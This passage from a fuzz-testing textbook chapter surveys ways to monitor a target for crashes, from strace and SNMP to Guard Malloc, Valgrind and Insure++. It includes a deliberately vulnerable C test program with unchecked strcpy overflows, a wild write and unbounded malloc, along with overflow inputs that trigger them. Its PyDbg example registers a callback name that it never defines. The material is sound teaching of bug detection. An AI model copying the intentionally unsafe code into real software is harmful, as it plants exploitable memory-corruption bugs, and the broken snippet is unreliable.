into more detail on exactly how monitoring can be done and give examples of available software that we can use when possible. 6.2.1 Valid Case Instrumentation The most trivial method for detecting a problem when fuzz testing is to continually check to ensure the service is still available. Consider a target application consist- ing of a server that accepts TCP connections. In between each test case, a TCP con- nection can be made with the server to ensure it is still responsive to network traffic. Using this method, if a particular input caused the target to become unresponsive, the fuzzer would immediately become aware of this fact. A slightly better method is that in between test cases, a valid input can be sent and the response can be ana- lyzed to ensure it remains unchanged. For example, if a web server is being fuzzed, a valid HTTP page can be requested and the resulting page can be examined to ensure that it is received exactly as expected. Likewise, the fuzzer may authenticate to an FTP server being fuzzed to ensure that it is still possible to do this and this action is performed in a timely manner. Many fuzzers can perform this type of monitoring already. For example, the PROTOS test suite that fuzzes the SNMP protocol has the option “-zerocase,” 170 Target Monitoring which sends a valid test case after each fuzzed input to check if the target is still responding. Here is an example, C:\Documents and Settings\Charlie\Desktop>java -jar c06-snmpv1-req- app-r1.jar -host 192.168.1.100 -zerocase ... test-case #74: injecting meta-data 0 bytes, data 4139 bytes waiting 100 ms for reply...0 bytes received test-case #74: injecting valid case... waiting 100 ms for reply...0 bytes received test-case #74: No reply to valid case within 100 ms. Retrying... waiting 200 ms for reply...ERROR: ICMP Port Unreachable Here, PROTOS has detected that there has been a problem with the server since it did not respond to the valid test case. One of the biggest drawbacks to valid case monitoring is that only the most catastrophic problems can be detected. Obviously, this method can detect when an application becomes unresponsive. In some cases, if the application becomes degraded, this can also be detected. However, these are the only situations in which this monitoring will succeed. Even in cases when a fault is found that can actually crash the target, this may not be evident with this monitoring method. For example, consider a typically configured Apache web server. This server has one main process that binds to port 80 and then spawns and manages a number of child processes. These child processes actually handle the HTTP requests. Therefore, if an input managed to cause a crash, it would be a crash of one of the child processes. By design, the main process would then spawn additional child processes to replace the process that crashed. The result would be that the web server would remain completely responsive and functional to an outside user. It would be hard to detect this fault using this method and know that a problem had been identified. This ties in with how the applications to be fuzzed should be run. Whenever possible, try to run the application with debugging symbols. Then, if it crashes, it will be possible to tie any problems back to the line of source code where it occurred. Likewise, many servers support debug logging, which will record many internal messages and will help indicate the application state. Furthermore, appli- cations that act as servers may have settings that allow them to run as a single process or thread and not to daemonize. In the previous example regarding Apache, if Apache was run with the “-X” option, it will not fork child processes or disasso- ciate from the terminal. This means any crash will cause the whole Apache process to go away and this would be detectable. Under this option, detection of faults using valid test cases would be possible. Of course, in black-box situations, it is not always possible to choose the way the application is configured. 6.2.2 System Monitoring Only monitoring the target with valid test cases has severe limitations. When avail- able, monitoring the system on which the target application runs can provide bet- ter results. One powerful monitoring mechanism is simply watching application 6.2 Methods of Monitoring 171 Figure 6.1 A view of the files being accessed by the TiVoBeacon.exe executable. and system logs. Well-written applications will log problems and internal inconsis- tencies that they detect. Remember when we discussed how difficult it is to discover when a crash occurs in a typically configured Apache web server, due to the robust way it is architected? Simply watching the logs will quickly solve this problem, [Sun Dec 16 20:54:15 2007] [notice] child pid 174 exit signal Segmentation fault (11) The main Apache process monitors and logs when one of its child processes dies. Likewise, system logs may record information concerning system resource exhaustion. Another aspect of a process that should be monitored is its interaction with the file system. By watching which files are being opened (both successfully and unsuc- cessfully), directory transversal vulnerabilities may be discovered. Figure 6.1 is a screenshot of the Filemon utility available from Microsoft. On Linux, the strace utility can be used. The following code shows the trace of the command “ls” filtering only on calls to the “open” function, [cmiller@Linux ~]$ strace -eopen ls open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/librt.so.1", O_RDONLY) = 3 open("/lib/libacl.so.1", O_RDONLY) = 3 open("/lib/libselinux.so.1", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/lib/libpthread.so.0", O_RDONLY) = 3 open("/lib/libattr.so.1", O_RDONLY) = 3 open("/lib/libdl.so.2", O_RDONLY) = 3 open("/lib/libsepol.so.1", O_RDONLY) = 3 open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = 3 open("/proc/mounts", O_RDONLY|O_LARGEFILE) = 3 open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libsetrans.so.0", O_RDONLY) = 3 open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3 open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 open("/proc/meminfo", O_RDONLY) = 3 172 Target Monitoring By looking for differences in the output for various inputs, anomalies can be detected. If the monitor is especially intelligent, it can look for filenames being opened that contain data from the particular fuzzed input being used. Autodafé works in this fashion, although it uses debugging mechanisms. Another option for monitoring the interaction with the file system is using the Tripwire program. Tripwire takes crypto- graphic hashes of each file specified and stores them in an offline database. Later, it computes the hashes of the files again and compares them with the hashes stored in the databases. Due to the nature of cryptographic hashes, any change to a file will be seen by comparing the hashes taken with those stored in the database. Using this method, it is easy to detect which files have changed during fuzzing. Beyond files, the registry on Microsoft Windows controls the behavior of many aspects of the system. Depending on the privilege level of the application being tested, changes to particular (or arbitrary) registry entries may have security signif- icance. There are many good tools for monitoring registry changes; one is Registry Monitor by Microsoft. Figure 6.2 shows a screen shot. Another possibility for target monitoring lies in watching the network connec- tions and traffic generated by the target system. Again, by monitoring the types of traffic and their contents, anomalies can be detected that indicate something unusual has occurred. Furthermore, the traffic between an application and a back- end database can be monitored (if unencrypted), and the SQL commands issued can be examined. Likewise, by using strace, you can see the data in the traffic by monitoring the write/send system calls, [cmiller@Linux ~]$ strace -ewrite testprog ... write(3, "\23\0\0\0\3select * from help", 23) = 23 Such methods can often detect many types of injection vulnerabilities. 6.2 Methods of Monitoring 173 Figure 6.2 Registry Monitor watching access to the registry. Figure 6.3 Process Explorer reveals, among other things, the relationship between processes. In order to try to detect command injection vulnerabilities, a similar approach can be taken. In this case, we’re interested in processes being spawned. This can be monitored with a GUI such as provided by Process Explorer from Windows (Fig- ure 6.3). Again, strace can be used for this purpose as well. Finally, it is important to monitor memory consumption as well as the amount of CPU being consumed by the target application to detect DoS conditions. The heart of DoS is for the attacker to perform an act that is computationally inexpen- sive, such as sending a packet, while the target has to do something expensive, such as allocate and zero out a large amount of memory or perform a complex calculation. Again, for Windows, Process Explorer can reveal these statistics (Fig- ure 6.4). On Linux, the ps command will reveal this information. [cmiller@Linux ~]$ ps -C httpd u USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 9343 0.0 1.1 23368 8836 ? Ss 08:41 0:00 /usr/sbin/httpd apache 9345 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9346 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9347 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9348 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd 174 Target Monitoring apache 9349 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9350 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9351 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd apache 9352 0.0 0.5 23368 3984 ? S 08:41 0:00 /usr/sbin/httpd This output shows, among other things, the amount of CPU and memory consump- tion for all processes named “httpd.” By monitoring this output between fuzzed inputs, those inputs that elicit large memory changes or CPU consumption can be detected. Again, in this example, it probably would make more sense to not allow the httpd server to fork. 6.2.3 Remote Monitoring One problem with using system monitoring is that it can be hard to tie the informa- tion from the monitor back to the fuzzer, which is typically running on a different system, to help determine which test case caused a fault. However, in some cases, it may be possible to access this system information remotely. For example, with the use of SNMP, some information about the environment in which the target program is running can be obtained remotely. The following command can be issued against the target system between each test case, charlie-millers-computer:~ cmiller$ snmpget -v 1 -c public 192.168.1.101 .1.3.6.1.4.1.2021.11.3.0 .1.3.6.1.4.1.2021.11.11.0 .1.3.6.1.4.1.2021.4.6.0 UCD-SNMP-MIB::ssSwapIn.0 = INTEGER: 0 kB 6.2 Methods of Monitoring 175 Figure 6.4 The properties window from Process Explorer reveals detailed statistics about the process in question. UCD-SNMP-MIB::ssCpuIdle.0 = INTEGER: 81 UCD-SNMP-MIB::memAvailReal.0 = INTEGER: 967468 kB The results of this command show that there is no memory swapping occurring, that the CPU is currently 81% idle, and that there is currently 967MB of available memory. These numbers can indicate when the target program has received inputs and is having difficulty processing it, which could indicate a denial of service con- dition. In addition, SNMP allows for process monitoring with the PROC directive in the snmpd.conf configuration file. The following command checks that there is a process running with the name given in the configuration file, charlie-millers-computer:~ cmiller$ snmpget -v 1 -c public 192.168.1.101 1.3.6.1.4.1.2021.2.1.5.1 UCD-SNMP-MIB::prCount.1 = INTEGER: 1 Additionally, SNMP can be configured to restart an application or service if it has encountered an error. This is done with the PROCFIX directive. In fact, SNMP can be configured to run arbitrary commands when instructed to do so. Finally, SNMP can also be used to monitor log files for the occurrences of certain words or phrases using the LOGMATCH directive. Another way to monitor logging remotely is via syslogd in Unix environments. By setting the syslog.conf file to contain only the line *.* @hostname all syslog messages will be forwarded to the machine hostname. In this way the fuzzer can get an idea of any problems that may be occurring on the remote system. It may also be possible to remotely monitor system information over the X11 or VNC protocols or through custom-written programs or scripts. 6.2.4 Commercial Fuzzer Monitoring Solutions Expanding on the last section regarding remote monitoring of target systems and applications, many commercial fuzzers offer proprietary monitoring solutions. For example, the Mu-4000 from Mu Security has many monitoring capabilities. It can ssh or telnet into the target system and monitor logs, run scripts, restart the target application, and perform other functions. Using this information, the Mu-4000 can figure out exactly which fuzzed input (or sequence of inputs) caused a particular fault. Likewise, the beSTORM fuzzer comes with a Windows and Linux executable that can monitor the target application (Figure 6.5). This monitor watches for exceptions in the application and reports them back to the fuzzer. When it finds one, the fuzzer can report which test case caused it (Fig- ure 6.6). 6.2.5 Application Monitoring More advanced methods of monitoring include more intrusive forms of monitoring applications. Typically, this is done by attaching a debugger to the process. We’ve already done this a bit by using strace in an earlier section, which uses the ptrace 176 Target Monitoring debugging facilities. Likewise, this is how the beSTORM monitor functions. The reason it is useful to attach a debugger to the target process is that debuggers get a first opportunity to handle faults, exceptions, or interrupts generated by the appli- cation. Now, some of these events are perfectly normal for an application to encounter. For example, when a memory page is accessed that is currently paged to disk, a page fault occurs, but this is entirely fine and expected. Likewise, the program may register exception handling functions and intend for these functions 6.2 Methods of Monitoring 177 Figure 6.5 The proprietary beSTORM monitoring tool in action. Figure 6.6 The beSTORM monitor reveals that it has detected a vulnerability. to be activated in situations such as when an innocuous error occurs. Again, this may be completely typical of the application’s behavior and may not represent a vulnerability at all. However, sometimes an exception is not intended. For example, reading, writ- ing, or executing from unmapped memory will trigger an exception. Executing invalid code or dividing by zero will also trigger an exception. These types of exceptions are typical of those found when an application has had its memory corrupted when pro- cessing unexpected inputs. An attached debugger will get a chance to view these exceptions and take some kind of action, such as logging the result. This type of appli- cation monitoring is useful for finding memory corruption vulnerabilities, although there are still problems in cases when memory corruption occurs but no exception is thrown. These will be addressed by the more advanced methods in the next section. So what are some of the best ways to use the debugging mechanisms of the oper- ating system for fuzz testing? The most trivial is to simply attach a debugger to the process, such as OllyDbg or WinDbg. In this case, when an exception is thrown, the debugger will receive it and the process will be frozen. Then, the methods used to check for service availability can be used to detect that the process is no longer responding to requests. Be warned that OllyDbg consumes a great deal of CPU, so detecting a memory consumption DOS may be more difficult when using a debugger. Also, don’t forget to only register for the “important” exceptions. There are better ways to do this. One example is crash.exe, which is part of the FileFuzz utility developed by Michael Sutton. This process starts an application and monitors it for exceptions. If it detects one, it prints out the program’s context at the time of the exception. When wrapped by another program (for example FileFuzz), this is a great method of detecting when errors have occurred. C:\Program Files\FileFuzz>crash.exe "C:\Program Files\QuickTime\QuickTimePlayer.exe" 5000 C:\bad.m4v [*] crash.exe "C:\Program Files\QuickTime\QuickTimePlayer.exe" 5000 C:\bad.m4v [*] Access Violation [*] Exception caught at 6828e4fe mov edx,[edx+0x4] [*] EAX:00005af4 EBX:00000000 ECX:00000004 EDX:00142ffc [*] ESI:00142ffc EDI:00116704 ESP:001160fc EBP:00000000 A more customized approach is to use something like PyDbg, a pure Python Win32 debugger developed by Pedram Amini. A PyDbg script, which attaches to a process and logs when exceptions occur, can be written in a few lines of Python such as import sys from pydbg import * from pydbg.defines import * def handler_crash (pydbg): print pydbg.dump_context() return DBG_EXCEPTION_NOT_HANDLED 178 Target Monitoring dbg = pydbg() for (pid, name) in dbg.enumerate_processes(): if name == sys.argv[1]: break dbg.attach(pid) dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_breakpoint) dbg.debug_event_loop() This script first defines what action to take when an access violation occurs. The script then instantiates a pydbg instance. Next, it obtains the pid from the name of the process as passed to the script as the first argument. Finally, it attaches to the process, registers a callback that should be called when an access violation occurs, and then continues the process. In practice, more exceptions should be handled and more could be done when one occurs, but in just a few lines we have a basic fuzz monitor. For more information on using PyDbg to monitor a target application, please consult the fuzzing book by Sutton, Greene, and Amini.2 One final note on this type of monitoring solution regards fuzz testing on the Mac OS X platform. This operating system has a feature called CrashReporter. This is a system process that monitors all applications for crashes. When an appli- cation crashes, it presents a dialogue similar to the one shown in Figure 6.7 and logs to the file /var/log/system.log Dec 10 12:13:25 charlie-millers-computer ReportCrash[285]: Formulating crash report for process iTunes[283] Dec 10 12:13:26 charlie-millers-computer com.apple.launchd[70] ([0x0- 0x2b02b].com.apple.iTunes[283]): Exited abnormally: Bus error Dec 10 12:13:27 charlie-millers-computer ReportCrash[285]: Saved 6.2 Methods of Monitoring 179 Figure 6.7 CrashReporter reveals that the iTunes application has crashed. 2M. Sutton, A. Greene, P. Amini. (2007). Fuzzing: Brute Force Vulnerability Discovery. Boston: Addison Wesley. crashreport to /Users/cmiller/Library/Logs/CrashReporter/iTunes_2007- 12-10-121320_charlie-millers-computer.crash using uid: 501 gid: 501, euid: 501 egid: 501 It also records a crash report into a local file, in this case ~/Library/Logs/Crash Reporter/iTunes_2007-12-10-121320_charlie-millers-computer.crash. This file con- tains information like a stack backtrace, register contents, and a list of libraries, which are loaded in memory along with their addresses. Such helpful logging and monitoring comes by default on Mac OS X and helps explain why it is a common choice for many security researchers. 6.3 Advanced Methods So far, we have discussed methods to monitor how a system is behaving from a remote perspective, as well as how an application interacts with its environment and efficient ways to monitor an application for exceptions. However, none of these methods attempts to analyze what is happening within the application. This section will show ways in which the execution of the application itself can be changed to help better monitor its internal state. The use of the tools discussed here will all be demonstrated in great detail in the last two sections of this chapter. 6.3.1 Library Interception For applications that are dynamically linked, the easiest way to change the behav- ior of the program is to change the code in the libraries that are linked to the appli- cation. This can be done by creating a new library that exports the same symbols as libraries used by the application. All that needs to be done is to ensure that this new library’s code is the one that is used by the target. This is exactly what is done by tools such as Electric Fence for Linux and Guard Malloc for BSD/Mac OS X. We will discuss Guard Malloc in detail, although both of these tools work in a very similar fashion. Guard Malloc supplies its own version of the functions malloc() and free(), as well as some other related functions. The malloc() function in the Guard Malloc library is different than a standard malloc() implementation. It is designed in such a way to find buffer overflows and other memory corruptions and terminate the program as soon as one is discovered. It does this by utilizing the virtual memory system of the operating system. Every time a buffer is allocated in the target program using malloc(), the Guard Malloc implementation is called. This version of malloc() places each allocation on its own virtual memory page and places the end of the buffer at the end of this page. The next virtual memory page is purposefully left unallocated. The result is that if a buffer is overflown, the read or write to the bytes beyond the buffer will take place on an unallocated virtual memory page, which will result in a bus error—a signal easily caught by a debugger. This is true for wild memory reads or writes that occur after or, to a lesser extent, before allocated buffers. When the program wants to free its allocated memory, the page that held the buffer is deallocated. Therefore, any reference to the freed buffer will again result in a bus error. This will find vul- nerabilities that read from freed memory as well as double free bugs. 180 Target Monitoring The Guard Malloc library is used in place of the memory manipulation func- tions from the system library by using the DYLD_INSERT_LIBRARIES environ- ment variable as such: DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./testprogram The way that Guard Malloc works is also governed by environment variables. Some of the more interesting ones involving fuzz testing include: • MALLOC_FILL_SPACE: This environment variable tells Guard Malloc to fill new memory allocations with the byte 0x55. This can help find references to uninitialized memory. • MALLOC_ALLOW_READS: This variable causes the page following the allocated buffer to be readable but not writable. Thus, wild reads will not cause an error, but wild writes still cause a bus error. This is useful when security researchers are looking for exploitable vulnerabilities but don’t care about information leaks. • MALLOC_STRICT_SIZE: Normally, Guard Malloc will align memory allo- cations on 16 byte boundaries. In this scenario it is possible for small buffer overflows to be missed for allocations whose size is not a multiple of 16. This environment variable forces the end of the allocation to be adjacent to the last byte of the page, which will catch even a single byte overflow. Please note that this will cause memory allocations to possibly be unaligned. This may cause programs that assume allocations are at least word aligned to fail. Guard Malloc is a great tool to use when fuzzing because it will force most heap memory corruptions to result in a program crash. (Of course, this will not help find stack overflows since stack buffers are not created via malloc(). How- ever, stack overflows often cause a crash by default.) Using Guard Malloc avoids problems in which memory is read or corrupted by an input but not enough to cause a full program crash. There are significant drawbacks to the use of this tool, however. First, each memory allocation made by the program requires two full pages of virtual memory. Large programs that make a lot of memory allocations may run out of virtual mem- ory when using this tool. Second, in addition to the fact that this allocation routine is less efficient than the standard one, it can cause excessive swapping, which can slow down the target program’s execution time by a factor of 100 or more. There- fore, fewer inputs can be sent to the target in the same amount of time. This illus- trates the tradeoff between monitoring and testing time. It should be noted that open BSD has many of the features of Guard Malloc built into the operating system. That is, when fuzzing on open BSD, you get Guard Malloc for free. 6.3.2 Binary Simulation Using library interception provides a quick and easy way to get a handle on the memory allocation occurring in the target application. However, there is more we would like to monitor. Doing this requires even further intrusion into the target. 6.3 Advanced Methods 181 One such approach is to use a synthetic CPU. This is the technique used when a target program is run under Valgrind for Linux. Valgrind is a framework in which a binary is run on a synthetic processor and various instructions and commands can be run on the code as it is processed on this synthetic processor. One such set of auxiliary instructions is called Memcheck and monitors every memory alloca- tion/deallocation as well as every memory access. This is exactly the type of infor- mation we care about when fuzzing. Valgrind works by loading its initialization routines when the target binary begins using the dynamic loader (the same mechanism used by Guard Malloc). At that point, Valgrind takes over execution of the application until it exits. None of the actual instructions from the application are run on the real processor; they are all run on the synthetic CPU. Each basic block is read by Valgrind, instrumented by the associated tool, and then executed on the synthetic CPU. The tool can add whatever code it likes to the instructions from the binary. As we mentioned, there is a tool that comes with Valgrind that adds code that checks for memory accesses. It could also check for memory consumption, file handles, or whatever else we wanted. Of course, running an application on a synthetic CPU has some performance issues. Typically, the pro- gram code will be increased by a factor 12 and there will be a slowdown of 25 to 50 times. Again, because the binary is being run, the source code isn’t needed and no changes have to be made to the development process. Now let’s take a closer look at exactly how the Memcheck tool works. Since Memcheck has the opportunity to run code between each instruction of the target binary, it can monitor and take action with every memory usage. Memcheck adds two bits of information to every bit in the computer’s virtual memory and to the vir- tual hardware registers. One bit is called the valid-value (V) bit and the other is the valid-address (A) bit. The V-bit basically indicates whether that bit has been initial- ized by the program. This V-bit follows the corresponding bit of memory wherever it goes. For example, suppose you had the following source code int x,y; x = 4; y = x; Initially, the 32 V-bits associated with both x and y would be set to 0, as they are uninitialized. When the synthetic processor executed the instruction responsible for making the assignment in the second line, it would set the 32 corresponding V- bit’s for the variable x to 1, as x is now initialized. The third line would set the V- bits associated with the variable y. By tracking this, the use of uninitialized variables can be detected. Likewise, the A-bit tracks whether the program has the right to access a given bit of data. It sets the A-bit when memory is allocated or deallocated and also for global and stack variables. At each memory access, Memcheck validates that the corresponding A-bit is set. Between these two pieces of information, many different types of vulnerabilities can be detected including use of uninitialized variables, read- ing/writing memory after free, heap overflows and wild pointer read/writes, mem- ory leaks, and double frees. 182 Target Monitoring Due to this level of preciseness, this method has some advantages over Guard Malloc. For example, Guard Malloc only detects writing past the end of a buffer (and even then can miss one byte overflows depending on the allocation). It will miss most buffer underflows. Guard Malloc also does not usually find errors with uninitialized variables and can miss wild pointer writes (illegal array indexes). Finally, due to the way Guard Malloc causes a bus error when it detects some- thing, Guard Malloc can only find a single bug at a time, while Valgrind can find many bugs. 6.3.3 Source Code Transformation Guard Malloc and Valgrind work on binaries by using tricks with the dynamic linker. They make changes to the way the program executes by intercepting calls to library functions. Both work on binaries and neither requires source code. When source code is available, even more complex changes to the way the target executes can be made. An open source tool that rewrites C source code to add security checks (among other things) is called CCured. We’ll look at an easier to use and more robust commercial solution from Parasoft called Insure++. Insure++ works in Windows or Linux by replacing the compiler by a custom tool written by Parasoft. This tool preprocesses the existing source code and adds additional code to it that makes note of each memory allocation/deallocation and each memory read or write. In this way, it can find any memory corruption at run-time. This transformed source code is then compiled with the standard system compiler. This tool is designed to be easily integrated into the development process. When the modified binary is executed, a GUI appears that outlines any problems found and directs the tester to the line of source code that caused the problem. All these changes to the source code are important but do not change the actual functioning of the application. By making these changes to the execution of the tar- get application, many types of vulnerabilities can be quickly identified. Insure++ also has the advantage that it can continue to execute after some bugs have been identified, whereas tools like Guard Malloc immediately halt the program. The exe- cution slowdown is also greatly reduced since the code is running at native speed, but can still be significant. The main disadvantage is it is a commercial tool and can be quite expensive. 6.3.4 Virtualization Using virtualization, most of the results of the methods discussed in this section can be achieved. This can be done with any available technology including commercial offerings such as VMware, as well as open source options such as Xen and Bochs. By running the target program in a virtualized environment, it can be monitored and controlled by looking at how the operating system is interacting with the vir- tual hardware. Likewise, exceptions generated by programs can be caught and acted upon. Additionally, when supported, virtual machines have the advantage that they can restore the entire operating system and target application to a known “good state” using snapshot technology. This can have a big advantage over simply 6.3 Advanced Methods 183 restarting a troubled target application since the file system, configuration files, reg- istry entries, or back-end databases may have been corrupted during fuzz testing. Overall, this shows great promise, but is still a topic of research. 6.4 Monitoring Overview • Valid case instrumentation: + Will detect state-machine failures + Platform independent – Will not detect exceptions that the application tries to hide • System monitoring: + Can catch file system abnormalities + No need for source code – Will catch crash-level exceptions only – Platform dependent • Remote monitoring: + Can access information on many system resources + Monitoring from fuzzing system – Will catch crash-level exceptions only – Will not have the same access as on the system – Not always supported • Application monitoring + Will detect all exceptions – Platform dependent – May miss nonexception-related vulnerabilities 6.5 A Test Program Now that we’ve had the chance to see some of the tools at our disposal, let us run them on a small test program to see how effective they can be. 6.5.1 The Program #include <stdlib.h> #include <stdio.h> #include <string.h> char static_buffer1[16]; char static_buffer2[16]; void (*fn)(int); int main(int argc, char *argv[]){ char stack_buffer1[16]; char stack_buffer2[16]; char *heap_buffer1 = (char *) malloc(16); 184 Target Monitoring char *heap_buffer2 = (char *) malloc(16); char *dummy; fn = exit; if(argc < 3){ printf("Need 2 arguments\n"); exit(-1); } int x = atoi(argv[1]); switch(x){ case 0: // Stack overflow strcpy(stack_buffer2, argv[2]); break; case 1: // Heap overflow strcpy(heap_buffer1, argv[2]); break; case 2: // Static overflow strcpy(static_buffer2, argv[2]); break; case 3: // wild write heap_buffer1[atoi(argv[2])] = 0; break; case 4: // memory exhaustion (and buffer overflow) dummy = (char *) malloc(atoi(argv[2])); memset(dummy, 0x41, atoi(argv[2])); strcpy(dummy, "hello"); break; } free(heap_buffer2); free(heap_buffer1); fn(0); } This program accepts two arguments. The first is an integer that controls what the program does, and the second is an argument to that particular functionality of the program. Obviously, this program has a number of serious issues. 6.5.2 Test Cases Below are a number of test cases that trigger various vulnerabilities in the test program, 6.5 A Test Program 185 1. ./test 0 AAAAAAAAAAAAAAAAAAAA 2. ./test 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA 3. ./test 1 AAAAAAAAAAAAAAAAAAA 4. ./test 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA 5. ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAA 6. ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 7. ./test 3 18 8. ./test 3 20 9. ./test 4 10 10. ./test 4 914748364 These test cases have the property that they all cause some kind of security problem in the program. The first four types of input cause a memory corruption, and the final one can cause a memory consumption denial of service. In the last one, the vulnerability really is that the user controls the size of a malloc without a check on the length. The odd-numbered test cases execute the vulnerable lines of code, but do not cause the program to crash or exhibit obviously bad behavior. The even-numbered test cases do cause a program failure: [cmiller@Linux ~]$ ./test 0 AAAAAAAAAAAAAAAAAAAA [cmiller@Linux ~]$ ./test 1 AAAAAAAAAAAAAAAAAAA [cmiller@Linux ~]$ ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAA [cmiller@Linux ~]$ ./test 3 18 [cmiller@Linux ~]$ time ./test 4 10 real 0m0.002s user 0m0.000s sys 0m0.004s So despite the fact the vulnerable lines are executed and in the first four, memory is corrupted, the program shows no sign of harm. The even-numbered test cases demonstrate the fact the vulnerabilities are real: [cmiller@Linux ~]$ ./test 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA Segmentation fault [cmiller@Linux ~]$ ./test 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA *** glibc detected *** ./test: double free or corruption (out): 0x086c8020 *** ... [cmiller@Linux ~]$ ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [cmiller@Linux ~]$ ./test 3 20 *** glibc detected *** ./test: free(): invalid pointer: 0x09d91020 *** ... 186 Target Monitoring [cmiller@Linux ~]$ time ./test 4 914748364 real 0m54.942s user 0m0.228s sys 0m1.516s Therefore, the odd-numbered test cases illustrate the fact that inputs can be sent into the program, which, without detailed monitoring, would fail to find the vulner- ability. Let us see if the advanced monitoring solutions we’ve discussed would be able to detect the five vulnerabilities, even if only the less-effective, odd-numbered test cases were available. 6.5.3 Guard Malloc Guard Malloc is used by running the target program with the appropriate environ- ment variables set. For example, charlie-millers-computer:~ cmiller$ DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./test 1 AAAAAAAAAAAAAAAAAAA GuardMalloc: Allocations will be placed on 16 byte boundaries. GuardMalloc: - Some buffer overruns may not be noticed. GuardMalloc: - Applications using vector instructions (e.g., SSE or Altivec) should work. GuardMalloc: GuardMalloc version 18 Bus error So in this case, running the program with Guard Malloc enabled caused a bus error and thus did find the vulnerability that would have otherwise been missed. Not sur- prisingly, it did not find the vulnerability associated with the input ‘0’ since this is a stack-based vulnerability and Guard Malloc only modifies the way heap buffers are allocated, charlie-millers-computer:~ cmiller$ DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./test 0 AAAAAAAAAAAAAAAAAAAA GuardMalloc: Allocations will be placed on 16 byte boundaries. GuardMalloc: - Some buffer overruns may not be noticed. GuardMalloc: - Applications using vector instructions (e.g., SSE or Altivec) should work. GuardMalloc: GuardMalloc version 18 Notice that the program exited without a bus error, failing to detect the stack overflow. Likewise, it did not help find the vulnerability associated with ‘2’. It did succeed in finding the bug from test case number 7. It did not find the one for test case 9, but did for case 10 and gave the following error: 6.5 A Test Program 187 GuardMalloc[test-1140]: Attempting excessively large memory allocation: 914748368 bytes Overall, Guard Malloc worked as advertised. It located vulnerabilities associ- ated with heap allocations such as heap overflows and wild memory writes on the heap. It also logged when excessive memory allocations occurred. It did not help with stack-based or static-variable-based vulnerabilities. 6.5.4 Valgrind Performing the same experiment as above with Valgrind gives pretty much the same results. It helps find the heap-based bugs and not the others. It also warns of an excessive memory allocation. However, notice the much more detailed reporting provided by Valgrind, which points out the line number and exactly what has occurred. This kind of information can help reduce the time required for post- fuzzing analysis. Here is what the output looks like when Valgrind fails to find a vulnerability: [cmiller@Linux ~]$ valgrind ./test 0 AAAAAAAAAAAAAAAAAAAA ... ==6107== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 12 from 1) ... Here is some detailed information about the two bugs it does find: [cmiller@Linux ~]$ valgrind ./test 1 AAAAAAAAAAAAAAAAAAA ... ==6110== Invalid write of size 1 ==6110== at 0x40069D8: strcpy (mc_replace_strmem.c:272) ==6110== by 0x8048576: main (test.c:30) ==6110== Address 0x401F038 is 0 bytes after a block of size 16 alloc'd ==6110== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==6110== by 0x80484D3: main (test.c:12) ... ==6110== ERROR SUMMARY: 4 errors from 2 contexts (suppressed: 12 from 1) and [cmiller@Linux ~]$ valgrind ./test 3 18 ... ==6154== Invalid write of size 1 ==6154== at 0x80485AF: main (test.c:38) ==6154== Address 0x401F03A is 2 bytes after a block of size 16 alloc'd 188 Target Monitoring ==6154== at 0x40053D0: malloc (vg_replace_malloc.c:149) ==6154== by 0x80484D3: main (test.c:12) Looking at the first of these outputs shows that it correctly identifies the buffer overflow due to a strcpy on line 30 of test.c, and furthermore that it is trying to write past a buffer of size 16 that was allocated in line 12 of test.c. Likewise, the other bug is correctly identified as a write of 1 byte that takes place on line 38 of test.c and is 2 bytes after an allocated buffer of size 16. 6.5.5 Insure++ Insure++ is a commercial product that adds memory checks at compile time. Below is an excerpt from the instrumented source code for the test program that shows the types of checks added to the source code. ... auto void *_Insure_1i; _insure_decl_lwptr(_Insure_fid_1, 9L, 0, 9, (void *)(&_Insure_1i), 65536, 2); _Insure_0i = (16); _Insure_1i = malloc(_Insure_0i); _insure_assign_ptra_after_call((void **)(&_Insure_1i), 9, &_Insure_spmark); _insure_ptra_check(9, (void **)(&_Insure_1i), (void *)_Insure_1i); if (_Insure_1i) { _insure_alloca(10, _insure_get_heap_handle(0), (void **)(&_Insure_1i), _Insure_0i, 0, 4096, (char *)0, 0); } _insure_assign_ptraa(9, (void **)(&heap_buffer1), (void **)(&_Insure_1i), (void *)((char *)_Insure_1i)); heap_buffer1 = (char *)_Insure_1i; ... _Insure_3_es = atoi(argv[2]); _insure_after_call(&_Insure_spmark); _insure_index2_checka(21, (void **)(&heap_buffer1), (void *)heap_buffer1, (int)_Insure_3_es, sizeof(char), 0L); (heap_buffer1[_Insure_3_es]) = (0); ... This excerpt consists of the lines relevant to case 3. The first set of lines is the allocation of heap_buffer1. There are various calls to internal Insure++ functions such as _insure_assign_ptra_after_call() and 